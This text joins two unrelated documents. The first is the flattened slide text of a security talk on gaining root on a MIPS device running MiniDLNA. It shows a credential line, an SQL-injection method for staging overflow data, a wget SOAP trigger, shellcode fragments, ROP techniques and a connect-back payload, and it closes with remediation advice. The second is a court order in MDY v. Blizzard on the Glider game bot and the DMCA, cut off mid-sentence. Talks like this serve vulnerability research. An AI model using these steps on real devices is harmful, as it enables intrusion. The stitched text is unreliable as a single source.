admin:qw12QW!@:0:0:admin:/:/bin/sh Vulnerability 3: Remote Code Execution i.e., pop root Party like it’s 1996. $ find . -name \*.c -print | xargs grep -E \ 'sprintf\(|strcat\(|strcpy\(' | \ grep -v asprintf | wc -l 265 <--OMG exploit city 265 <--No, seriously. WTF. Left join Left join album_art in sprintf() is DETAILS.ALBUM_ART. Schema shows it’s an INT. sqlite> .schema DETAILS CREATE TABLE DETAILS ( ID INTEGER PRIMARY KEY AUTOINCREMENT, ..., ALBUM_ART INTEGER DEFAULT 0, ...); DETAILS.ALBUM_ART is an INT, but it can store arbitrary data This is due to “type affinity” callback() attempts to “validate” using atoi(), but this is busted atoi(“1_omg_learn_to_c0d3”) == 1 ALBUM_ART need only start with a (non-zero) int Weak sauce Two things to note Exploitable buffer overflow? We have full control over the DB from Vuln #1 We need to: Stage shellcode in database Trigger query of our staged data SQL injection limitation Limited length of SQL injection, approx. 128 bytes per pass. Target buffer is 512 bytes. SQLite concatenation operator: “||” UPDATE DETAILS set ALBUM_ART=ALBUM_ART|| “AAAA” where ID=3 Trigger query of staged exploit Model DLNA in Python Python Coherence library Capture conversation in Wireshark Save SOAP request for playback with wget Wireshark capture SOAP request Things you need Console access to the device There is a UART header on the PCB gdbserver cross-compiled for MIPS gdb compiled for MIPS target architecture Test the vulnerability Attach gdbserver on the target to minidlna.exe Connect local gdb to remote sesion Use wget to SQL inject overflow data Set up initial records in OBJECTS and DETAILS Build up overflow data Use wget to POST the SOAP request How much overflow data? $ wget http://10.10.10.1:8200/ctl/ContentDir \ --header="Host: 10.10.10.1" \ --header=\ 'SOAPACTION: "urn:schemas-upnp- org:service:ContentDirectory:1#Browse"' \ --header='"content-type: text/xml ;charset="utf-8"' \ --header="connection: close" \ --post-file=./soaprequest.xml Trigger the exploit w00t! Success! We control the horizontal and the vertical We own the program counter, and therefore execution Also all “S” registers: $S0-$S8 Useful for Return Oriented Programming exploit Owning $PC is great, but give me a shell Getting Execution: Challenges Stack ASLR MIPS Architecture idiosyncrasies Return Oriented Programming is limited (but possible) “Bad” Characters due to HTTP & SQL Getting Execution: Advantages No ASLR for executable, heap, & libraries Executable stack ROP on MIPS All MIPS instructions are 4-bytes All MIPS memory access must be 4-byte aligned No jumping into the middle of instructions ROP on MIPS We can return into useful instruction sequences: Manipulate registers Load $PC from registers or memory we control Help locate stack, defeating ASLR Locate stack using ROP Load several offsets from stack pointer into $S3,$S4,$S6 Load $S0 into $T9 and jump MIPS cache coherency MIPS has two parallel caches: Instruction Cache Data Cache Payload written to the stack as data Resides in data cache until flushed MIPS Cache Coherency Can’t execute off stack until cache is flushed Write lots to memory, trigger flush? Cache is often 32K-64K Linux provides cacheflush() system call ROP into it Bad characters Common challenge with shellcode Spaces break HTTP Null bytes break strcpy()/sprintf() SQLite also has bad characters e.g., 0x0d, carriage return SQLite escape to the rescue: “x’0d’” “\x7a\x69\xce\xe4\xff”, “x’0d’”, “\x3c\x0a\x0a\xad\x35” MIPS NOP is \x00\x00\x00\x00 Use some other inert instruction I used: nor t6,t6,zero \x27\x70\xc0\x01 NOP Instruction Trouble with Encoders Metasploit payload + XOR Encoder==No Joy Metasploit only provides one of each on MIPS Caching problem? Wrote my own NUL-safe connect-back payload No need for encoder Pro Tip: Avoid endianness problems by connecting back to 10.10.10.10 Overflow diagram Demo Time How to suck less hard Establish security requirements Self protection Network protection Less crappy programming sqlite3_snprintf() Privilege separation Mandatory Access Controls, e.g. SELinux Upshot Developer assumes well-formed data Compromise database integrity, violate developer assumptions Even if the database is low value Zachary Cutlip Contact Info Twitter: @zcutlip [email protected] Questions?
pdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 WO IN THE UNITED STATES DISTRICT COURT FOR THE DISTRICT OF ARIZONA MDY Industries, LLC, Plaintiff/Counterdefendant, vs. Blizzard Entertainment, Inc.; and Vivendi Games, Inc., Defendants/Counterclaimants. __________________________________ Blizzard Entertainment, Inc.; and Vivendi Games, Inc., Third-Party Plaintiffs, vs. Michael Donnelly, Third-Party Defendant. ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) No. CV-06-2555-PHX-DGC ORDER This case concerns the hugely popular World of Warcraft computer game (“WoW”) and a software program known as Glider that plays WoW for its owners while those owners are away from their computer keyboards. The Court previously held Plaintiff/ Counterdefendant MDY Industries, Inc. (“MDY”) – the owner and distributor of Glider – liable to Blizzard Entertainment, Inc. and Vivendi Games, Inc. (collectively, “Blizzard”) – the owners and distributors of WoW – for tortious interference with contract, contributory 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 1The general facts in this background section are found by the Court on the basis of evidence presented at trial and the parties’ pretrial stipulations. See Dkt. ##88, 97. The Court will provide additional issue-specific findings later in this order. - 2 - copyright infringement, and vicarious copyright infringement. Dkt. #82. The Court granted summary judgment to MDY on the portion of Blizzard’s claim based on 17 U.S.C. § 1201(a)(2) that applied to Blizzard’s game client software code. The Court also granted summary judgment in favor of MDY on Blizzard’s unfair competition claim. Id. Following this ruling, the parties entered into a stipulation that Blizzard would recover $6,000,000 in damages from MDY on the tortious interference, contributory copyright infringement, and vicarious copyright infringement claims if any of those claims is affirmed on appeal. Dkt. #95. The parties agreed that the Court should hold a bench trial to decide three matters: (1) the remaining claims under the Digital Millennium Copyright Act (“DMCA”), (2) whether Third-Party Defendant Michael Donnelly is personally liable to Blizzard for MDY’s tortious interference and copyright infringement, and (3) whether Blizzard is entitled to a permanent injunction. Dkt. ##92, 96. Blizzard agreed to dismiss its trademark infringement and unjust enrichment claims. Dkt. #95. The bench trial was held on January 8 and 9, 2009. Dkt. ##100-02. This order will set forth the Court’s findings of fact and conclusions of law. The Court concludes that Plaintiff MDY is liable under the DMCA, that Donnelly is personally liable for MDY’s tortious interference, copyright infringement, and DMCA violations, and that Blizzard is entitled to a permanent injunction against the continued sale and distribution of Glider. The Court will require additional briefing on whether the permanent injunction should be stayed pending appeal. I. Background.1 WoW players control their “avatar” characters within a virtual universe, exploring the landscape, fighting monsters, performing quests, building skills, and interacting with other players and computer-generated characters. As players succeed, they acquire in-game assets, experience, and power. Players can advance from level 1 to level 60 with the basic game, 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 3 - and through levels 70 and 80 with expansion modules. Blizzard is the creator and operator of WoW and owns all copyrights related to the game. WoW was released in November of 2004 and is now the largest and most successful multiplayer online game in the world. WoW currently has some 11,500,000 players and generates more than $1.5 billion annually. The WoW software consists of two components: the “game client” software and the “game server” software. The game server software is located on a Blizzard-owned server. A user obtains the game client software by purchasing a copy at a retail store or downloading a copy from the WoW website. The user plays WoW by loading the game client software on his personal computer’s hard drive and accessing the game server software through an online account for which he pays a monthly fee to Blizzard. Glider is a computer program known as a “bot” – a word derived from “robot.” Glider plays WoW for its owner while the owner is away from his or her computer keyboard. Glider enables the owner to advance more quickly within WoW than would otherwise be possible. Donnelly incorporated MDY in 2004 in connection with his computer contracting business. Donnelly created, and MDY owns, Glider. MDY began selling Glider to WoW users in June of 2005. To date, it has sold more than 100,000 copies and generated revenues between $3.5 and $4 million. WoW is a carefully balanced competitive environment where players compete against each other and the game to advance through the game’s various levels and acquire game assets. Glider upsets this balance by enabling some payers to advance more quickly, diminishing the game experience for other players. Glider also enables its users to acquire an inordinate number of game assets – sometimes referred to as “mining” or “farming” the game. The acquisition of these assets upsets the game’s economy, diminishing the value of assets acquired by regular game users. II. Blizzard’s Remaining DMCA Claims. Blizzard alleges that MDY and Donnelly have violated the DMCA. Specifically, Blizzard claims that MDY and Donnelly traffic in technological products, services, devices, 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 4 - or components designed to circumvent technological measures Blizzard has put in place to control access to its copyrighted work and to protect its rights as the copyright owner of WoW. Blizzard brings claims under sections 1201(a)(2) and 1201(b)(1) of the DMCA, 17 U.S.C. §§ 1201(a)(2), 1201(b)(1). Section 1201(a)(2) provides that “[n]o person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, component, or part thereof” that “is primarily designed or produced for the purpose of circumventing a technological measure that effectively controls access to a work protected under this title[.]” 17 U.S.C. § 1201(a)(2)(A). Even if the product is not “primarily designed or produced” for this purpose, this section of the DMCA may be violated if the product has only limited commercially significant purposes other than to circumvent the technological measure, or if the product is sold with the knowledge that it will be used in circumventing the technological measure. Id. § 1201(a)(2)(B)-(C). “[T]o ‘circumvent a technological measure’ means to descramble a scrambled work, to decrypt an encrypted work, or otherwise to avoid, bypass, remove, deactivate, or impair a technological measure, without the authority of the copyright owner[.]” Id. § 1201(a)(3)(A). “[A] technological measure ‘effectively controls access to a work’ if the measure, in the ordinary course of its operation, requires the application of information, or a process or a treatment, with the authority of the copyright owner, to gain access to the work.” Id. § 1201(a)(3)(B). Section 1201(b)(1) is similar to section 1201(a)(2), with one critical difference. Section 1201(a)(2) applies to protective measures that control “access” to software. Section 1201(b)(1) applies to “a technological measure that effectively protects a right of a copyright owner under this title in a work or a portion thereof[.]” 17 U.S.C. § 1201(b)(1)(A). The protection of copyright rights, not controlling access, is key. The statute provides that “a technological measure ‘effectively protects the rights of a copyright owner under this title’ if the measure, in the ordinary course of its operation, prevents, restricts, or otherwise limits the exercise of a right of a copyright owner under this title.” 17 U.S.C. § 1201(b)(2)(B). 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 5 - A. DMCA-Specific Findings of Fact. Blizzard owns the copyright for the WoW software code. When a user launches a copy of WoW from his hard drive to play the game, the user’s computer copies the WoW game client software from the hard drive to the computer’s Random Access Memory (“RAM”). This copying continues while the game is being played. Additional copyrighted software is loaded from the computer’s hard drive into RAM as the player reaches points in the game where additional content is needed. The game client software includes both literal code and nonliteral elements. The Sixth Circuit has explained the difference: “[i]n the essential setting where the DMCA applies, the copyright protection operates on two planes: in the literal code governing the work and in the visual or audio manifestation generated by the code’s execution.” Lexmark Int’l, Inc. v. Static Control Components, Inc., 387 F.3d 522, 548 (6th Cir. 2004). Blizzard’s game client software includes literal code, stored as WoW.exe, and nonliteral elements such as graphics, sound effects, and character animations. Blizzard employs a technical measure known as Warden to detect and prevent the use of bots by WoW players. Warden includes two software components. One component, known as “scan.dll,” scans the user’s computer for unauthorized programs before the user logs onto a Blizzard game server to play the game. Scan.dll examines certain portions of the user’s RAM and WoW game data files for the presence of defined code signatures. If identified code signatures match those associated with unauthorized programs such as Glider, scan.dll prevents the user from logging on to a Blizzard server. The second component, referred to as the “resident” component of Warden, runs periodically while the user plays WoW. The resident component sends requests asking for the user’s game client software to report the content of certain defined portions of WoW memory to the Blizzard game server. If the client reports information showing a “clean” segment of memory, the resident component permits the user to continue playing the game. If the client reports information showing the presence of defined patterns of code associated with unauthorized programs, the resident component can block access to the Blizzard server. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 6 - As noted in this Court’s previous order, the literal elements of the game client software stored on the user’s hard drive may be accessed and copied without connecting to a Blizzard game server and without successfully bypassing scan.dll or the resident component of Warden. For this reason, the Court granted summary judgment in favor of MDY and Donnelly on the section 1201(a)(2) claim related to the game client literal software code. Dkt. #82. The Court concluded that Warden did not prevent users from gaining access to the literal code and therefore was not a technological measure covered by section 1201(a)(2). Id. at 19. The literal code, however, constitutes only a small part of the game client software. The majority of the software consists of nonliteral elements – the digital multi-media content such as environmental graphics (mountains, lakes, oceans, trees, castles, rain, fog, meteor storms, etc.), sound effects (monsters roaring, rain falling, birds singing, battle cries, and explosions, etc.), music played in different geographical areas of the game, and a large variety of player avatars, each of which can wear a wide array of clothing and armor and carry a wide variety of weapons and equipment. These nonliteral elements are stored in the user’s hard drive and loaded into RAM after scan.dll has functioned and the user has connected to Blizzard’s game server. These elements continue to be loaded into RAM as a user plays the game and encounters new areas and characters of the game. The nonliteral aspects of the game client software include more than 400,000 discrete visual and aural components. Although it is the combination of these components as prompted by the Blizzard server that creates the dynamic WoW environment, individual nonliteral components may be accessed by a user without signing on to the server. As was demonstrated during trial, an owner of the game client software may use independently purchased computer programs to call up the visual images or the recorded sounds within the game client software. For example, a user may call up and listen to the roar a particular monster makes within the game. Or the user may call up a visual image of that monster. The image does not appear in the dynamic WoW game environment, but instead appears on the user’s screen with a blank background. The user may cause the image to run, fight, or die 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 7 - by accessing additional components of the game client software, but the image performs these activities in a void, not in the dynamic world created by the WoW game. Similarly, a user may call up an avatar and select the clothing, armor, weapons, and other equipment with which the avatar is clothed and equipped. Or an owner may call up a particular geographical area of the game and see the hills, trees, and structures in that area. Although an owner of the game client software may thus view and listen to the discrete nonliteral components of the game stored on his hard drive, the user cannot create or experience the dynamic, changing world of the game without signing on to a Blizzard server. The user could call up discrete elements to create a landscape and place a discrete character of a monster within it, and thus achieve a single visible scene on his computer screen, but the scene would not be dynamic – the user could not fight the monster, travel through the countryside, and encounter other players or scenes as he can while playing WoW. Thus, although the individual nonliteral illustrations and sounds created by the game client software may be viewed in isolation, or even in limited combinations, they cannot be viewed in the dynamic context of the WoW game, or controlled or choreographed by a Blizzard server, unless the user logs on and stays connected to a Blizzard server. To do so, of course, requires the user to bypass scan.dll and the resident component of Warden. Warden therefore controls access to the dynamic nonliteral elements of the WoW game environment. Some of the dynamic game content is provided or controlled by the Blizzard server. For example, the server decides how large or small to make an image or how soft or loud to make a noise. The server choreographs the dynamic scene being viewed on the user’s computer screen, and provides the prompts necessary for the nonliteral elements on the user’s hard drive to be loaded into RAM and displayed on the screen in the appropriate locations and sequences. The server determines where each monster will spawn, what type of monster will appear, the monster’s capabilities, and what treasure will be recovered if the monster is defeated. The server determines the amount of damage inflicted by a blow from a monster or another player, and when a character dies. The server provides the quest scripts read by 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 8 - users on their screens to understand the quests they are undertaking. None of these server- provided features may be accessed by the user without clearing the scan.dll investigation when logging on and repeatedly passing the resident component as the game is played. MDY and Donnelly have designed Glider to avoid detection by Warden. Glider software examines a user’s computer configuration and makes recommendations on what can be done to minimize the risk of detection. Glider takes other specific steps to disguise its presence. Blizzard has succeeded on three occasions in developing software that detected Glider. Each time, Blizzard collected the identities of Glider users and banned them from continuing to play WoW. Each time, MDY and Donnelly modified Glider to again avoid detection by Warden. At present, Warden cannot detect the presence of Glider in WoW. MDY and Donnelly have also taken steps to make it more difficult for WoW players to recognize when another player is using Glider. Glider’s anti-detection features are essential to Glider’s commercial success. Donnelly reverse-engineered Warden to learn how to make Glider undetectable. B. Section 1201(a)(2) Claim. Blizzard alleges that MDY and Donnelly violate section 1201(a)(2) by enabling Glider to evade Warden. As noted above, the Court has rejected this claim with respect to the literal code contained in the game client software. Blizzard also contends, however, that Glider violates section 1201(a)(2) because Warden controls access to the nonliteral elements of WoW and Glider defeats that control. This claim clearly fails with respect to the discrete nonliteral sights and sounds associated with each of the more than 400,000 individual components of the game client software. As explained above, these components can be accessed on the user’s hard drive without connecting to Blizzard’s servers and, therefore, without circumventing Warden. Because Warden does not control access to these individual nonliteral aspects of the game, section 1201(a)(2) does not apply. The same cannot be said, however, with respect to the dynamic nonliteral elements of the WoW game. These dynamic components – the real-time experience of traveling through different worlds, hearing their sounds, viewing their structures, encountering their 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 9 - inhabitants and monsters, and encountering other players – cannot be accessed on a user’s hard drive. They can be accessed only when the user is connected to a Blizzard server, something that requires the user successfully to pass by scan.dll when he logs on and to survive the periodic scrutiny of the resident component. Warden does control access to the dynamic nonliteral elements of the game and, in this respect, falls within section 1201(a)(2). MDY and Donnelly argue that section 1201(a)(2) does not apply because the dynamic nonliteral elements of the WoW game cannot be copyrighted, and Warden therefore does not control access to a “work protected by this title” as required by the section. See 17 U.S.C. § 1201(a)(2)(A), (B), (C). This argument appears to be based on the Copyright Act’s statement that “[c]opyright protection subsists, in accordance with this title, in original works of authorship fixed in any tangible medium of expression, now known or later developed, from which they can be perceived, reproduced, or otherwise communicated, either directly or with the aid of a machine or device.” 17 U.S.C. § 1012(a) (emphasis added). MDY and Donnelly also argue that the dynamic elements of the game cannot be copyrighted because they are controlled by users of the game, not Blizzard. Courts have rejected both arguments. Audio-visual displays of computer games are subject to copyright protection, and a player’s interaction with the software of those games does not defeat this protection even though the player’s actions in part determine what is displayed on the computer screen. See Atari Games Corp. v. Oman, 888 F.2d 878, 884-85 (D.C. Cir. 1989); Midway Mfg. Co. v. Arctic Int’l, Inc., 704 F.2d 1009, 1011-12 (7th Cir. 1983); Williams Elec., Inc. v. Arctic Int’l, Inc., 685 F.2d 870, 874 (3d Cir. 1982); Stern Elecs., Inc. v. Kaufman, 669 F.2d 852, 855-56 (2d Cir. 1982). MDY and Donnelly also contend that Warden does not satisfy the definition of section 1201(a)(2). The statute applies to a “technological measure” that “effectively controls access to a work[.]” 17 U.S.C. § 1201(a)(3)(B). The statute explains that a measure meets this definition “if the measure, in the ordinary course of is operation, requires the application of information, or a process or a treatment, with the authority of the copyright owner, to gain access to the work.” Id. The resident component of Warden satisfies this 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 10 - requirement. As explained above, the resident component calls for the game client software to examine portions of the user’s computer memory and report the results back to Blizzard’s server. If the report reflects software associated with Glider or other bots, Warden can block the user’s access to the server. Thus, as a user plays WoW, the resident component requires the user’s computer to apply information (the results of the memory scan) to gain continuing access to the server and the WoW game. MDY and Donnelly argued at trial that the language of section 1201(a)(3)(B) should be read to require that the computer user – not the computer – apply the required information, but they cite no authority for this narrow reading and courts have held that computer-applied information satisfies the definition of section 1201(a)(3)(B). See, e.g., 321 Studios v. MGM Studios, 307 F. Supp. 2d 1085, 1095 (N.D. Cal. 2004) (CSS technology, which required a DVD player to apply certain keys and algorithms to gain access to movies and movie-related content, constituted a technological measure within section 1201(a)(2)). The Court concludes that MDY has violated section 1201(a)(2) with respect to the dynamic nonliteral elements of WoW. Warden constitutes a technological measure that effectively controls access to such elements, and such elements are protected by copyright law. Glider circumvents Warden by avoiding and bypassing its detection features. See 17 U.S.C. § 1201(a)(3)(A) (“to ‘circumvent a technological measure’ means . . . to avoid, bypass, remove, deactivate, or impair [the] measure, without the authority of the copyright owner”). MDY knowingly markets Glider “for use in circumventing” Warden. 17 U.S.C. § 1201(a)(2)(C). All aspects of the statute are thus satisfied. Some courts have adopted a six-part test for a violation of section 1201(a)(2): A plaintiff alleging a violation of § 1201(a)(2) must prove: (1) ownership of a valid copyright on a work, (2) effectively controlled by a technological measure, which has been circumvented, (3) that third parties can now access (4) without authorization, in a manner that (5) infringes or facilitates infringing a right protected by the Copyright Act, because of a product that (6) the defendant either (i) designed or produced primarily for circumvention; (ii) made available despite only limited commercial significance other than circumvention; or (iii) marketed for use in circumvention of the controlling technological measure. Chamberlain Group, Inc. v. Skylink Techs., Inc., 381 F.3d 1178, 1203 (Fed. Cir. 2004) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 2 MDY and Donnelly conceded during trial that these aspects of WoW could be recorded while a user is playing WoW. This could be done with software that records the sights and sounds of the game as it is being played. Indeed, a few of such copies were played by Blizzard during trial. Because such copying would constitute copying within the meaning of section 106 of the Copyright Act, 17 U.S.C. § 106(1)-(3), Warden prevents users from exercising a right (copying) belonging to Blizzard as the copyright owner. MDY and Donnelly argued that Glider does not create such a copy. That may be true, but Warden clearly constitutes a technological measure that prevents such copying, and Glider, by circumventing that technological measure, facilitates such copying. Nothing more is required for a violation of section 1201(a)(2). - 11 - (emphasis in original). Blizzard’s claim satisfies this test. First, Blizzard has a valid copyright in the dynamic nonliteral elements of WoW. Second, access to those elements is effectively controlled by Warden, a measure Glider circumvents. Third, Glider enables third parties to access the dynamic nonliteral elements of the game. Fourth, Blizzard has not authorized this access. Fifth, once players obtain access to these elements of the game, they may copy those elements as they are displayed.2 Sixth, MDY has designed and produced Glider primarily to circumvent Warden, Glider is made available despite the fact that it only has commercial significance as a bot that can circumvent Warden, and MDY markets Glider for use in circumventing Warden and playing WoW. C. Blizzard’s Section 1201(b)(1) Claim. Section 1201(b)(1) applies to a technological measure “that effectively protects a right of a copyright owner under this title in a work or a portion thereof[.]” 17 U.S.C. § 1201(b)(1)(A). A “technological measure ‘effectively protects a right of a copyright owner under this title’ if the measure, in the ordinary course of its operation, prevents, restricts, or otherwise limits the exercise of a right of a copyright owner under this title.” 17 U.S.C. § 1201(b)(2)(B). Warden satisfies this requirement with respect to the dynamic nonliteral elements of WoW. MDY and Donnelly argue that the only “right of a copyright owner” at issue in this case is the right to copy. The Court agrees. See Dkt. #82. MDY and Donnelly argue that Warden does not prevent, restrict, or otherwise limit a user’s ability to copy the literal code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 3The Court is aware that Warden does not prevent all WoW users from copying the dynamic nonliteral elements of the game. Players who do not use Glider may copy that content while connected to Blizzard servers. The statute, however, requires only that the technological measure “restricts[] or otherwise limits” unauthorized copying. 17 U.S.C. § 1201(b)(1)(A). - 12 - contained in the game client software or the individual nonliteral illustrations of that code because both can be freely copied from the user’s hard drive. The Court again agrees. The same cannot be said, however, with respect to the dynamic nonliteral elements of the game. As explained above, these aspects of WoW can be accessed only while playing the game on Blizzard’s servers. By preventing or interrupting a Glider user’s access to the servers, Warden effectively prevents that user from copying – should he choose to do so – the dynamic nonliteral sights and sounds of WoW as it is being played.3 The Court concludes that MDY has violated section 1201(b)(1). Warden constitutes a “technological measure” within the meaning of section 1201(b)(1) to the extent it prevents a user from copying the dynamic nonliteral elements of WoW as it is being played. Glider circumvents Warden within the meaning of the statute. See 17 U.S.C. § 1201(b)(2)(A). And Glider is knowingly marketed by MDY for use in circumventing Warden. See 17 U.S.C. § 1201(b)(1)(C). III. The Personal Liability of Michael Donnelly. Blizzard contends that Michael Donnelly should be held personally liable for the tortious interference, contributory copyright infringement, vicarious copyright infringement, and DMCA violations. The Court will set forth relevant facts and then address the law. A. Findings of Fact. Michael Donnelly is the president of MDY and manages its day-to-day operations. MDY is the entity that promotes and modifies Glider. MDY currently has two employees. These employees work under the direction of Donnelly. Donnelly did not believe that the creation or distribution of Glider violated the copyright laws. Donnelly did not copy any of Blizzard’s code, nor does Glider seek to replicate the WoW game. Donnelly knew that Glider users would be required to pay all 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 13 - required WoW fees. When Donnelly first introduced Glider, he read the Blizzard End User License Agreement (“EULA”) and Terms of Use Agreement (“TOU”). These contracts did not at the time expressly prohibit bots. They did prohibit cheats and hacks, but Donnelly did not view Glider as a cheat or a hack because it did not modify any WoW code. By November of 2005, however, Donnelly understood that the use of Glider by his customers was a breach of their contracts with Blizzard. An e-mail written by Donnelly at the time stated that “[s]ince Blizzard does not want bots running at all, it’s a violation to use them.” Dkt. #43-10 at 3. MDY’s website openly acknowledges that Glider “is against the [TOU] as provided by Blizzard for [WoW].” Dkt. #43-9 at 3. In August of 2006, Donnelly received a cease and desist letter from Blizzard. The letter addressed five files on MDY’s website and claimed that they contained Blizzard intellectual property. Four of the five files consisted of screen shots from WoW. Donnelly removed those files from his website. The fifth file concerned the “launchpad” program that Donnelly had written for Glider. Because Donnelly did not understand how this program affected Blizzard’s copyright, he wrote Blizzard and asked for an explanation. Blizzard did not respond. In October of 2006, representatives of Blizzard appeared at Donnelly’s home. They informed him that Glider violated Blizzard’s copyrights and demanded that he immediately cease selling Glider and disgorge all profits earned from Glider. The representatives threatened to file a lawsuit in California the next day if Donnelly refused to comply. Donnelly immediately sought legal counsel. When that counsel was unable to obtain an extension of Blizzard’s deadline, Donnelly brought this action in Arizona before Blizzard could bring the action in California. Donnelly has continued selling Glider during the course of this lawsuit, including after the Court’s July 2008 ruling that the sale of Glider constituted contributory and vicarious copyright infringement. Dkt. #82. Donnelly testified at trial that he did not stop selling Glider after the Court’s ruling because he disagrees with the ruling and believes it will be overturned on appeal. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 14 - Blizzard has suffered damages as a result of Glider. Mr. Ashe testified without contradiction that Glider and other bots diminish the game playing experience of WoW and provoked 500,000 complaints to Blizzard between December of 2004 and March of 2008. Blizzard spends almost $1,000,000 per year attempting to detect and eliminate Glider and other bots, money that could be devoted to more productive uses. Blizzard also believes that it has lost customers and sales as a result of Glider, but has no way of determining how many. B. Conclusions of Law. 1. Tortious Interference. The parties agree that Arizona law applies to Blizzard’s tortious interference claim. Under Arizona law, corporate officers and directors “are not personally liable for torts committed by the corporation or by one of its officers merely by virtue of the office they hold.” Bischofshausen, Vasbinder, & Luckie v. D.W. Jaquays Mining & Equip. Contractors Co., 700 P.2d 902, 908 (Ariz. Ct. App. 1985). To be personally liable, “the directors or officers must participate or have knowledge amounting to acquiescence or be guilty of negligence in the management or supervision of the corporate affairs causing or contributing to the injury.” Id. at 908-09; see Albers v. Edelson Tech. Partners L.P., 31 P.3d 821, 826 (Ariz. Ct. App. 2001) (“[W]hile corporate officers and directors are generally shielded from liability for acts done in good faith on behalf of the corporation, their status does not shield them from personal liability to those harmed as a result of intentionally harmful or fraudulent conduct.”); Dawson v. Withycombe, 163 P.3d 1034, 1051 (Ariz. Ct. App. 2007) (“Under Arizona law, a director cannot be liable without some kind of personal participation in the tort or at least acquiescence by knowledge of the tort combined with a failure to act.”). To establish MDY’s liability for tortious interference, Blizzard was required to prove that (1) a valid contractual relationship existed between Blizzard and its customers, (2) MDY knew of the relationship, (3) MDY intentionally and improperly interfered in the relationship and caused a breach or termination of the relationship, and (4) Blizzard was damaged as a 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 4 Citing Bar J Bar Cattle Co. v. Pace, 763 P.2d 545 (Ariz. Ct. App. 1988), MDY contended in its summary judgment briefing that “[m]alice must be the sole motivator for the actor to interfere tortiously.” Dkt. ##45 at 22, 57 at 26 (emphasis in original). The Court disagreed. Dkt. #82 at 25 n. 12. Bar J Bar simply recognizes that the impropriety of a defendant’s conduct requires a multi-pronged inquiry. Malice is one “facet[] of the element - 15 - result. See Antwerp Diamond Exch. of Am., Inc. v. Better Bus. Bur. of Maricopa County, Inc., 637 P.2d 733, 740 (Ariz. 1981); Wagenseller v. Scottsdale Mem’l Hosp., 710 P.2d 1025, 1043 (Ariz. 1985) (en banc), superseded in other respects by A.R.S. § 23-1501. The Court found that each of these elements has been satisfied. See Dkt. #82 at 22-26. For Donnelly to be personally liable for MDY’s tortious interference, the Court concludes that Donnelly must have known that MDY was engaging in tortious interference. Donnelly does not dispute that a valid contractual relationship existed between Blizzard and its customers. Donnelly clearly knew of the relationship – he read the contracts. Since at least November 2005, Donnelly knew that MDY was intentionally interfering with that contractual relationship by inducing its customers to breach the TOU. And, as the finding of fact set forth above demonstrate, Blizzard has been damaged by Glider. The one remaining question is whether Donnelly knew MDY’s interference with Blizzard’s contracts was improper. The Court previously found that MDY’s actions were improper under the seven-factor test of Restatement (Second) of Torts § 767. Dkt. #82 at 23-26. The Court finds that Donnelly, from at least November of 2005, was aware of the facts that satisfy the seven-factor test and therefore knew that MDY’s conduct was improper. Donnelly knew that Blizzard has established valid and financially profitable contracts with its customers. Donnelly knew that MDY aids WoW players in breaching their contracts with Blizzard, assists the players in gaining an advantage over other WoW players, enables players to mine the game for their own financial benefit and in violation of the TOU, assists players in avoiding detection by Blizzard, and does so in a way designed to place Blizzard at risk. Donnelly knew that MDY’s motive was financial gain. Donnelly knew that Glider was successful because WoW was successful, and that MDY sought to exploit WoW’s success for its own financial benefit.4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 of impropriety that the plaintiff may show in a particular case.” Wagenseller, 710 P.2d at 1043 (emphasis added). Malice need not be shown if the other elements of improper conduct exist. - 16 - Because Donnelly knew the facts that satisfy all seven factors enumerated in Restatement § 767, the Court concludes that he knew that MDY was improperly interfering with Blizzard’s customer contacts. This is true whether or not he understood the details of Arizona tortious interference law. The Court therefore holds that Donnelly is personally liable for MDY’s tortious interference from November 2005 forward. The parties have addressed damages through stipulation and have not asked the Court to determine the dollar amount of this liability. 2. Copyright Infringement and DMCA Violations. “Courts within virtually every circuit have adopted a two-prong test to determine whether a corporate officer is jointly and severally liable with the corporation for copyright infringement. The prerequisites for vicarious liability are: (1) the officer has the right and ability to supervise the infringing activity, and (2) the officer has a direct financial interest in such activities.” Jobete Music Co. v. Johnson Communications, Inc., 285 F. Supp. 2d 1077, 1083 (S.D. Ohio 2003) (citing cases); see Microsoft Corp. v. Ion Techs. Corp., 484 F. Supp. 2d 955, 961 (D. Minn. 2007); BMI v. Rooster’s, Inc., No. Civ.A. 04-140-DLB, 2006 WL 335583, at *3 (E.D. Ky. Feb. 14, 2006); Coogan v. Avnet, Inc., No. CV-04-0621-PHX- SRB, 2005 WL 2789311, at *7 (D. Ariz. Oct. 24, 2005); see also A&M Records, Inc. v. Napster, Inc., 239 F.3d 1004, 1022 (9th Cir. 2001) (noting that vicarious liability for copyright infringement “is an ‘outgrowth’ of respondeat superior”). Donnelly does not address the issue of personal liability in his proposed findings of facts and conclusions of law. See Dkt. #88. At oral argument, Donnelly relied on 